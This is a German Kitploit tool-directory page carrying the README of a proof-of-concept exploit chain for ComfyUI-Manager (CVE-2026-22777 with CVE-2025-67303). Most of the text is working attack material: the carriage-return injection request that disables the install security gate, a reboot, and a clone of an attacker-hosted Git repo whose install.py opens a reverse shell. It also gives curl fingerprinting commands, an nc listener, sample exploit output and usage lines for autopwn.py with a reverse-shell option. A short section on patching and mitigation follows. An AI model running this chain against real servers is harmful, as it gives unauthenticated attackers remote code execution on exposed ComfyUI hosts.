Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-22777 — Proof-of-Concept-Exploit, der eine CRLF-Injection im Konfigurations-Endpunkt von ComfyUI-Manager mit einer beliebigen Git-Installation verkettet, um unauthentifizierte Remote-Code-Ausführung zu erreichen. | Kitploit
Tools/GitHubGitHub/si13nttt/cve-2026-22777
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsCommand and ControlRed TeamingPayload-Entwicklung
GitHubsi13nttt/cve-2026-22777

CVE-2026-22777

Proof-of-Concept-Exploit, der eine CRLF-Injection im Konfigurations-Endpunkt von ComfyUI-Manager mit einer beliebigen Git-Installation verkettet, um unauthentifizierte Remote-Code-Ausführung zu erreichen.

4vor 4 TagenNoch nicht geprüft
Repository anzeigen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-22777 — ComfyUI-Manager CRLF-Injection -> RCE (mit CVE-2025-67303)

Schweregrad: Kritisch (CVSS 9.8) Betroffen: ComfyUI-Manager < 3.39.2 und 4.0.0 - 4.0.4 Behoben in: ComfyUI-Manager 3.39.2 / 4.0.5 Verkettet mit: CVE-2025-67303 (Beliebige Git-Installation -> Codeausführung)


Funktionsweise

ComfyUI-Manager stellt einen /api/manager/db_mode-Endpunkt bereit, der einen value-Query-Parameter akzeptiert und diesen direkt über Pythons configparser in config.ini schreibt.

Die Schwachstelle ist eine Injection eines einzelnen Carriage-Return (\r / %0D):

  • Beim Schreiben: configparser serialisiert den Wert wörtlich — \r wird unverändert in der Datei gespeichert.
  • Beim Lesen: Pythons Universal-Newline-Modus behandelt ein einzelnes \r als Zeilenende und teilt einen Wert in zwei separate INI-Direktiven auf.
  • Last-Key-Wins: configparser mit strict=False (ComfyUI-Managers Standard) akzeptiert doppelte Schlüssel und verwendet den letzten. Das injizierte security_level = weak überschreibt den legitimen Wert.

Nach einem Neustart wird die gefälschte Einstellung wirksam und deaktiviert die Authentifizierungssperre auf /api/customnode/install/git_url (CVE-2025-67303). Dieser Endpunkt klont ein beliebiges Git-Repository und führt sofort install.py daraus als Subprozess aus — was einem nicht authentifizierten Angreifer vollständige Codeausführung ermöglicht.


Angriffskette

Schritt 1 — Bare CR in den Config-Endpunkt injizieren
  GET /api/manager/db_mode?value=cache%0Dsecurity_level%20=%20weak

  config.ini auf der Festplatte nach dem Schreiben:
    db_mode = cache\r
    security_level = weak   <- via %0D injiziert

Schritt 2 — Manager neu starten, um die gefälschte Config zu laden
  GET /api/manager/reboot

  Manager liest config.ini zurück; Universal Newlines teilen den Wert auf;
  Last-Key-Wins -> security_level = weak

Schritt 3 — Sperre verifizieren (pollen, bis 403 zu 400 wird)
  POST /api/customnode/install/git_url  body: http://127.0.0.1/probe.git
  403 = Sperre noch geschlossen
  400 = Sperre offen, security_level=weak bestätigt

Schritt 4 — Installation aus bösartigem Git-Repo auslösen (CVE-2025-67303)
  POST /api/customnode/install/git_url
  body: http://ATTACKER:9099/alg-upscaler.git

  Manager führt aus:
    git clone http://ATTACKER:9099/alg-upscaler.git
    python install.py   <- Reverse Shell wird hier ausgeführt

Dateien

DateiZweck
setup_evil_repo.shErstellt das bösartige Git-Repo und stellt es über HTTP bereit
exploit_ad15.shFührt die vollständige Kette aus: CRLF-Injection -> Neustart -> Verifizierung -> Auslösung
autopwn.pyPython-All-in-One-Alternative (erstellt Repo + führt die vollständige Kette aus)

Identifizierung

Schritt 1 — Versions-Fingerprint

curl -s http://TARGET:8188/api/manager/version
# Anfällig:  "3.39.1"  /  "4.0.3"
# Behoben:   "3.39.2"  /  "4.0.5"

Schritt 2 — Bestätigen, dass der CRLF-Endpunkt Werte akzeptiert

curl -v "http://TARGET:8188/api/manager/db_mode?value=test" 2>&1 | grep "< HTTP"
# HTTP/1.1 200 -> Endpunkt existiert und ist beschreibbar

Schritt 3 — Die Installationssperre prüfen

curl -s -o /dev/null -w "%{http_code}" \
  -X POST http://TARGET:8188/api/customnode/install/git_url \
  -d "http://127.0.0.1/probe.git"
# 403 -> Sperre geschlossen (Standardkonfiguration, Ziel ist injizierbar)
# 400 -> Sperre bereits offen (Phase 1 überspringen)

Erklärung der Exploit-Ausgabe

============================================================
  CVE-2026-22777 + CVE-2025-67303 Full Chain
============================================================
  Target      : http://192.168.1.10:8188
  Attacker    : 10.10.14.1:4444
  Evil repo   : http://10.10.14.1:9099/alg-upscaler.git

[*] Phase 0: Version fingerprint
    ComfyUI-Manager version: "3.39.1"        <- vulnerable

[*] Phase 1: CRLF inject -> security_level = weak
[+] Injection sent (HTTP 200)
    config.ini now contains:
      db_mode = cache\r
      security_level = weak  <- injected via bare CR

[*] Phase 2: Trigger reboot
[+] Reboot request sent -- waiting 30s for Manager to restart...

[*] Phase 3: Verify security gate
    Attempt 1: HTTP 403                      <- still rebooting
    Attempt 2: HTTP 403
    Attempt 3: HTTP 400                      <- gate open
[+] Gate OPEN -- security_level=weak is active

[*] Phase 4: Checking evil git repo is reachable
[+] Evil repo reachable (HTTP 200)

[*] Phase 5: Triggering git install (CVE-2025-67303)
    ComfyUI-Manager will:
      1. git clone http://10.10.14.1:9099/alg-upscaler.git
      2. cd into cloned dir
      3. python install.py  <- reverse shell executes here

Das curl in Phase 5 hängt — die Reverse Shell erreicht nc -lvnp 4444.


Unterschied zum Vulhub-PoC

1. Payload

Vulhub-PoCDieser PoC
install.pytouch /tmp/success (nur Ausführungsnachweis)Python-Reverse-Shell zurück zum Angreifer
ErgebnisKeine interaktive ShellVollständige interaktive Shell

2. Repo-Verwaltung

Vulhub-PoCDieser PoC
SpracheEinzelne Python-DateiBash, 2 separate Skripte
Bereinigungtempfile.TemporaryDirectory (automatisch gelöscht bei Strg+C)Manuell (bleibt auf der Festplatte)
Repo-NameZufällig (z. B. evil-node-a1b2c3)Fest: alg-upscaler

3. Kettenabdeckung

Vulhub-PoCDieser PoC
CVE-2026-22777 (CRLF-Injection)Nicht enthaltenIn exploit_ad15.sh Phase 1
Neustart + Sperre verifizierenNicht enthaltenWartet 30s, dann pollt 403->400
Installation auslösenManuelles curlAutomatisiert in Phase 5

Verwendung

Schritt 1 — Bösartiges Repo und Listener einrichten (zwei Terminals)

# Terminal 1 — Listener
nc -lvnp 4444

# Terminal 2 — bösartiges Repo erstellen und bereitstellen
bash setup_evil_repo.sh 10.10.14.1 4444

Schritt 2 — Vollständige Exploit-Kette ausführen

# Terminal 3
bash exploit_ad15.sh 192.168.1.10 10.10.14.1 4444

Die Shell erreicht Terminal 1 nach Phase 5.

Alternative — Python All-in-One

# Blinder Befehl
python3 autopwn.py http://192.168.1.10:8188 --command "id"

# Reverse Shell
python3 autopwn.py http://192.168.1.10:8188 --revshell --lhost 10.10.14.1 --lport 4444

Fix / Gegenmaßnahmen

Upgrade (empfohlen): ComfyUI-Manager 3.39.2 oder 4.0.5+. Der Patch entfernt \r und \n, bevor ein Query-Parameter in config.ini geschrieben wird.

Netzwerk-Gegenmaßnahmen (falls ein sofortiges Patchen nicht möglich ist):

  • Externen Zugriff auf Port 8188 an der Firewall blockieren — ComfyUI ist nicht für öffentliche Exposition ausgelegt.
  • Reverse-Proxy mit Authentifizierung vor /api/manager/* und /api/customnode/* schalten.
  • config.ini schreibgeschützt machen: chmod 444 config.ini.

Referenzen

  • https://github.com/Comfy-Org/ComfyUI-Manager
  • https://www.cve.org/CVERecord?id=CVE-2025-67303
  • https://github.com/vulhub/vulhub/tree/master/comfyui/CVE-2025-67303
  • https://docs.python.org/3/library/configparser.html
  • https://cwe.mitre.org/data/definitions/93.html
Tool herunterladen